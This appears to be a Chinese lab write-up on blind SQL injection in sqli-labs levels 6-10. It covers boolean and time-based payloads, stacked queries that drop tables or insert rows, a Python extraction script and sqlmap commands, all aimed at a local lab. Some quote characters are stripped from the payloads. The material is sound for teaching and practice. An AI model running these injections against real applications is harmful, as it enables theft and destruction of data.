资讯动态

SQL注入盲注实战:从sqli-labs第6-10关掌握布尔与时间盲注

发布时间:2026/9/16 7:47:57 来源:尧图企业网站定制
1. 6~10关没有报错信息了从看得见到猜得着1.1 前五关和第六关之间的分水岭很多人刷sqli-labs前五关的时候一路绿灯单引号报错、双引号报错、括号闭合报错页面上直接吐出数据库的报错信息注入点在哪、闭合符是啥扫一眼就明白了。这种体验特别容易让人产生一种错觉——SQL注入好像也就这么回事。但到了第六关情况突然变了。你输个单引号进去页面没有任何报错你试联合查询页面啥也不显示你甚至怀疑自己是不是把靶场环境搞坏了。这种一拳打在棉花上的挫败感我见过太多新手卡在这里。其实从第六关开始靶场的设计思路从显错注入切换到了盲注——报错信息被刻意吞掉了注入结果不会再直接出现在响应里。这并非靶场在刁难人而是真实业务场景的常态生产环境里的应用基本都会统一处理数据库异常不可能把SQL报错原样丢给用户看。所以6~10关学的东西才是你在实战中最常遇到的形态。1.2 6~10关的整体地图三张牌互相换着打很多人刷关是逐关硬闯导致打完六关忘了五关打完十关已经分不清八关和九关的区别在哪。其实6~10关的内核非常统一它们就是在闭合方式和注入方式两个维度上排列组合。先看闭合方式这一组关卡只有两种闭合符在轮换双引号闭合第六关、第十关单引号加括号闭合第七关单引号闭合第八关、第九关再看注入方式也是两种在轮换布尔盲注第六关、第八关时间盲注第九关、第十关第七关则单独打了一张堆叠注入的牌。也就是说你真正需要学的只有三件事怎么判断闭合方式、怎么写布尔盲注的payload、怎么写时间盲注的payload。这三件事吃透了这五关就是同一道题换了五个马甲。下面我逐关拆开讲每一关的顺序都是我按实际踩坑经验整理的照着走不会绕远路。2. 第六关双引号布尔盲注没有回显也要把数据撬出来2.1 第一步永远是找闭合方式第六关的页面长什么样一个输入框让你输入ID输入1、2、3都会正常显示用户名和密码看起来和前几关没什么区别。先去验证注入点。输入1页面正常显示没有任何报错输入1页面仍然正常显示。这就有意思了——理论上单引号和双引号都会破坏SQL语句结构如果没被过滤必然产生语法错误。页面都没反应唯一的解释是报错被程序吞了但SQL语句确实被影响了。那怎么在不看到报错的情况下确定闭合方式答案是用布尔逻辑判断。构造1 and 11 --页面显示正常再构造1 and 12 --页面空白。前后两个payload反馈不同说明我们的输入确实进了SQL判断逻辑并且双引号是有效的闭合符。这就是第六关的闭合方式双引号闭合没有任何括号。这一步是后面所有操作的地基。我在带新人的时候总强调一句话盲注关的第一步不是想着怎么把数据查出来而是先想办法让SQL语句走通。and 11和and 12就是最便宜好用的探针一个为真一个为假页面反应差异一旦出现就证明我们已经找到了能让语句完整执行的注入点。2.2 布尔盲注的完整SQL payload拆解找到闭合方式之后问题来了语句能走了但页面还是只显示正常或空白两种状态怎么把数据库里的数据拿回来这里就是布尔盲注的核心思想把一个复杂的查询问题拆成无数个是或否的判断问题。数据库里的每一个字符我们都用二分法去猜先猜长度再逐位猜字符。猜长度的payload长这样1 and length(database())1 -- 1 and length(database())5 -- 1 and length(database())8 --猜测数据库名长度的原理很简单如果条件为真页面显示正常内容如果条件为假页面空白。你不断调整数字当length(database())的值等于真实长度时页面才会恢复正常显示。第六关的数据库名是security长度8你会卡在8这一步等到页面亮起来。确认完长度接下来逐字符猜内容。这里用substr()从第1位开始截取用ascii()把字符转换成数字再跟ASCII码比较1 and ascii(substr(database(),1,1))100 -- 1 and ascii(substr(database(),1,1))115 --当substr(database(),1,1)是s时ascii()返回115页面恢复正常。第2位、第3位依次类推substr(database(),2,1)、substr(database(),3,1)。理论上你甚至可以不用和只用一个符号配合二分法去猜先试100如果页面正常说明字符的ASCII码比100大再试110太大就回退到105……大概7次就能锁定一个字符。不过手工刷关的话直接用碰配合常见字符表小写字母、数字、下划线往往更快。2.3 实战演示爆破数据库名我把第六关手工爆库的完整链路写一遍你按这个节奏走一遍比看十篇理论都管用。第一步确认闭合和布尔差异1 and 11 -- 页面正常 1 and 12 -- 页面空白第二步猜库名长度1 and length(database())4 -- 空白 1 and length(database())5 -- 空白 1 and length(database())6 -- 空白 1 and length(database())7 -- 空白 1 and length(database())8 -- 页面正常长度是8。第三步逐字猜库名1 and ascii(substr(database(),1,1))115 -- 正常第一个字母是s 1 and ascii(substr(database(),2,1))101 -- 正常第二个字母是e 1 and ascii(substr(database(),3,1))99 -- 正常第三个字母是c这样一路猜下去拼出来就是security。后面再爆表名、列名、数据套路完全一致只是把database()换成schema_name、table_name、column_name查询对象从information_schema里面取。这里不展开套路吃透了就是换汤不换药。注意第六关URL里所有空格在浏览器中建议写成号或者用%20否则部分环境下请求会被截断。另外--的作用是注释掉SQL语句中后续的部分——--是SQL注释符在URL解码后是个空格确保注释符后面有空格语句才不会因为末尾残留内容报语法错误。3. 第七关堆叠查询注入比联合注入更危险的东西3.1 为什么这一关的payload特殊第七关可能是6~10关里最容易被抄过去就完事的一关因为网上的答案基本就一行1)) union select 1,2,3 --甚至有些教程直接告诉你这关用1))闭合然后联合注入就过了。但这一关真正值得琢磨的东西反而藏在这个payload的背后。先说闭合方式。为什么是1))这意味着SQL语句的原始结构大概长这样SELECT ... FROM ... WHERE id($id) LIMIT 0,1你传进去的1会被套上两层括号(1)。所以你要用1))去把左括号、单引号、右括号全部闭合掉后面再跟联合查询的内容语句才能延续下去。但你有没有想过这一关输入1、1、1)都不会有报错为什么偏偏是1))这就是盲注里典型的逐个试闭合字符的思路——单引号不行就加右括号加了一个右括号不行就再加一个。第七关其实就是考验你能不能试出完整闭合没有太高深的玄机。3.2 堆叠注入和联合注入的本质区别第七关真正有价值的点是它支持堆叠查询。很多版本的sqli-labs第七关底层用到的是mysqli_multi_query()这个函数——它允许在一次数据库请求里执行多条SQL语句用分号分隔。这意味着你可以在查询后面追加任意SQL语句1)) ; drop table if exists test -- 1)) ; insert into test(id) values(666) --看到区别了吗联合注入要求前后两条语句的字段数量完全一致而且后面的语句只能是一条查询语句不能执行增删改而堆叠注入是彻底的多语句执行可以同时跑好几条完全不相关的SQL可以做数据插入、更新、删除甚至调用存储过程。在真实的数据库权限配置不当的场景里堆叠注入可以直接往系统里写WebShell危害比联合注入高一个量级。但这里必须提醒一句在靶场里你可以随便drop table玩但在真实渗透测试里堆叠注入破坏性极强一个不小心就把业务数据删了。能不能用堆叠注入取决于目标是否使用支持多语句执行的数据库驱动MySQL的mysqli_multi_query、PostgreSQL的部分驱动、SQL Server都支持但很多中间件会禁用多语句能力所以实战中遇到堆叠注入的机会并不算多。3.3 第七关到底能干什么刷第七关的时候我强烈建议你别只满足于跑个union select出来就算过了。试试这几条1)) ; show databases; --在联合注入里show databases这种命令是没法用的但在堆叠注入里可以。执行之后页面虽然不会直接显示结果但配合布尔判断或者后续语句你能逐步确认执行是否成功。再比如1)) ; insert into users(id,username,password) values(100,hack,hack) --这条执行完你再回头访问id100会发现页面显示出了插入的数据。这就直观地证明了堆叠注入对数据库的写能力。刷关而已多试几条语句你对堆叠注入的理解就会比只抄一个payload的人深得多。4. 第八关单引号布尔盲注手动脚本化才是正解4.1 第八关与第六关的同与不同第八关看起来和第六关几乎一模一样无回显、无报错、输入1和2显示内容不同。区别只有一个——闭合符从双引号换成了单引号。验证方法一模一样1 and 11 -- 页面正常 1 and 12 -- 页面空白页面有差异说明单引号闭合成立。接下来的布尔盲注payload和第六关完全同构只是把双引号换回单引号1 and length(database())8 -- 1 and ascii(substr(database(),1,1))115 --到这里你会发现第六关和第八关本质上就是同一道题。手动过完第六关第八关最多十分钟就通了。但第八关有个非常值得做的练习——写脚本自动化。因为第八关的页面响应差异特别干净有数据就显示无数据就是空白非常适合用来做布尔盲注的自动化脚本练手。4.2 用Python写一个简单的盲注脚本手工盲注一个字符要试好多次爆完整个库能把你手点抽筋。我用Python写过一个极简的布尔盲注脚本核心逻辑只有几十行贴出来给你参考import requests url http://127.0.0.1/sqli-labs/Less-8/ headers {User-Agent: Mozilla/5.0} def is_true(payload): params {id: payload} r requests.get(url, paramsparams, headersheaders) return You are in in r.text # 判断长度 for i in range(1, 20): if is_true(f1 and length(database()){i} --): print(f[*] database length: {i}) break # 逐字符猜库名 database_name for pos in range(1, 9): for ascii_val in range(32, 127): payload f1 and ascii(substr(database(),{pos},1)){ascii_val} -- if is_true(payload): database_name chr(ascii_val) print(f[*] database: {database_name}) break print(f[] database name: {database_name})这段脚本的核心就是复用is_true()这个函数把URL请求的响应里是否出现You are in作为布尔条件判断的依据。这里有一个实战细节不同关卡的正常页面标识不一样你用脚本刷其他关卡时is_true()的判断条件要灵活替换——比如有些关卡正常显示的用户名是固定的Dumb你就改成判断Dumb是否出现在响应文本里。跑完这个脚本你会对布尔盲注有一个更深的理解所谓盲注本质上就是一次次的HTTP请求每次只携带一个是或否的问题然后把答案拼起来。5. 第九关、第十关时间盲注什么都不变的时候只能靠时间说话5.1 第九关的现象完全无回显第九关是很多人的噩梦因为这一关你输入1 and 11 --和1 and 12 --页面表现完全一样——没有任何差异。正常页面也好空白页面也好统统看不出来。你可能会想是不是注入不存在不对输入1也正常输入1也正常所有内容都正常。这种完全无差异的情况意味着布尔盲注已经失效了因为连真和假都分不出来。这时候只能用时间盲注——让数据库执行一个延时操作通过响应时间的长短来判断条件真假。这就像你去敲门屋里的人不会直接回答在或不在但如果你敲完门等三秒才有人开门就说明屋里有人。5.2 时间盲注的两步判断先确认注入点。用这一招1 and sleep(5) --页面转圈了五秒才加载出来说明这条SQL被执行了而且单引号闭合成立。为了排除巧合你再试试1 and sleep(5) --页面秒回说明双引号不是闭合符。确定是单引号闭合之后时间盲注的payload写作1 and if(ascii(substr(database(),1,1))115, sleep(5), 0) --这条语句的含义是如果数据库名的第一个字符是sASCII码115就执行sleep(5)让页面卡五秒否则就相当于执行0这个条件页面秒回。你根据响应时间来判断某个条件是否为真——页面卡了条件成立页面秒回条件不成立。这里有个实操经验sleep()的延迟时间不要设太短建议3~5秒否则网络抖动造成的几十毫秒误差会干扰判断。手工刷的话5秒比较舒服卡没卡一眼就能分辨脚本跑的话可以降到1秒毕竟遍历ASCII表速度快省时间。5.3 第十关怎么在一分钟之内确认闭合方式第十关和第九关唯一的不同就是闭合符从单引号换成了双引号其余完全一样。所以快速确认的流程就一句话先试单引号sleep再试双引号sleep哪个卡了哪个就是闭合符。1 and sleep(5) -- 页面秒回 1 and sleep(5) -- 页面卡5秒秒回说明单引号不对卡了说明双引号有效。整个确认过程加起来不到一分钟。后面的爆库、爆表、爆数据把上面第九关的payload里的单引号全部换成双引号就行1 and if(ascii(substr(database(),1,1))115, sleep(5), 0) --这两关刷完之后建议你做一个和第八关类似的练习把Python脚本里的is_true函数改成响应时间是否超过3秒的判断逻辑写一个时间盲注自动化脚本。条件判断从页面内容切换为时间差整个思路就通透了。注意时间盲注里判断条件用if()函数MySQL环境完全支持如果是其他数据库写法可能有区别。另外sleep()的值越大整体爆破耗时就越长脚本自动化时建议用1秒手工测试用5秒别把自己搞得等半天。6. 刷关过程中的常见翻车点与提速技巧6.1 最常见的坑刷这五关时我见过太多人在同样几个地方卡住包括我自己第一次刷的时候也中过招这里统一列一下第一个坑结尾注释符不生效。在URL里输入--有时候会被浏览器编码处理导致注释符后面的多余SQL没有被注释掉语句报错。解决办法很简单--可以换成%23也就是#的URL编码。两种写法在不同环境下效果有差异哪个好用用哪个。第二个坑空格被URL截断。某些环境下URL中的空格会被自动处理成号或者%20如果你直接把带空格的payload粘贴进HackBar之类工具里可能会因为空格处理不对导致语法错误。建议养成习惯手动输入时在URL里用代替空格脚本里用%20。**第三个坑忽略了information_schema这个元数据库的存在。**盲注的时候你最终要爆出数据就得从information_schema这个系统数据库里查表名、列名。有些新手会卡在为什么爆完库名就不知道下一步该查啥了——因为表名在information_schema.tables里列名在information_schema.columns里。盲注和显错注入在这点上没有区别只是查询结果的获取方式从看页面变成了逐字符猜。第四个坑时间盲注里滥用if()导致语句冗余。其实时间盲注不一定要用if()直接利用AND的短路逻辑也可以比如1 and sleep(5) --本身就是无条件延时。但如果你要加条件判断if(条件, sleep(5), 0)这种写法是最清晰的别搞太花哨不然语句复杂了反而容易出错。6.2 手动和工具的搭配很多新手会纠结到底该手注还是上sqlmap我的建议是前两遍必须手注至少把闭合方式和盲注原理摸清楚第三遍开始可以用sqlmap验算速度。sqlmap第六到第十关都是一条命令的事sqlmap -u http://127.0.0.1/sqli-labs/Less-6/?id1 --batch --dbs第七关加个--stacked-queries可以测堆叠注入。但我要说句实话如果全程都是sqlmap一把梭你可能刷完十关都搞不清楚ascii()和substr()是干嘛用的。工具能用不代表你懂手动注入练的是思路工具替你提高的是效率两者不冲突。我个人的刷关节奏是第六关手注完整爆一次库第八关写脚本自动化第九关手注确认sleep生效再写时间盲注脚本第七关多试几条堆叠语句。这样五关刷完盲注的底层逻辑就真正内化了。6.3 6~10关速查表给一张我自己整理的速查表刷关时对照着用省得来回翻文章。关卡闭合方式注入类型关键验证payload第六关1布尔盲注1 and 11 --第七关1))堆叠注入1)) ; show databases; --第八关1布尔盲注1 and 11 --第九关1时间盲注1 and sleep(5) --第十关1时间盲注1 and sleep(5) --后续爆破统一套用两个模板布尔盲注模板闭合符 and ascii(substr(database(),1,1))ASCII值 注释符时间盲注模板闭合符 and if(ascii(substr(database(),1,1))ASCII值, sleep(5), 0) 注释符这两套模板理解透6~10关没有任何一关能拦住你。我自己刷完这五关之后最大的感受是sqli-labs的好不在于题目有多难而在于它把真实世界里最常见的注入场景做了一个非常干净的抽象——没有回显你就靠逻辑推理没有差异你就靠时间感知。这种思维方式的转变比记住一两条payload重要得多。后面如果你继续刷第十一关开始的POST注入你会发现前面学到的判断逻辑几乎可以无缝迁移只是数据提交的位置从URL参数挪到了请求体里。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价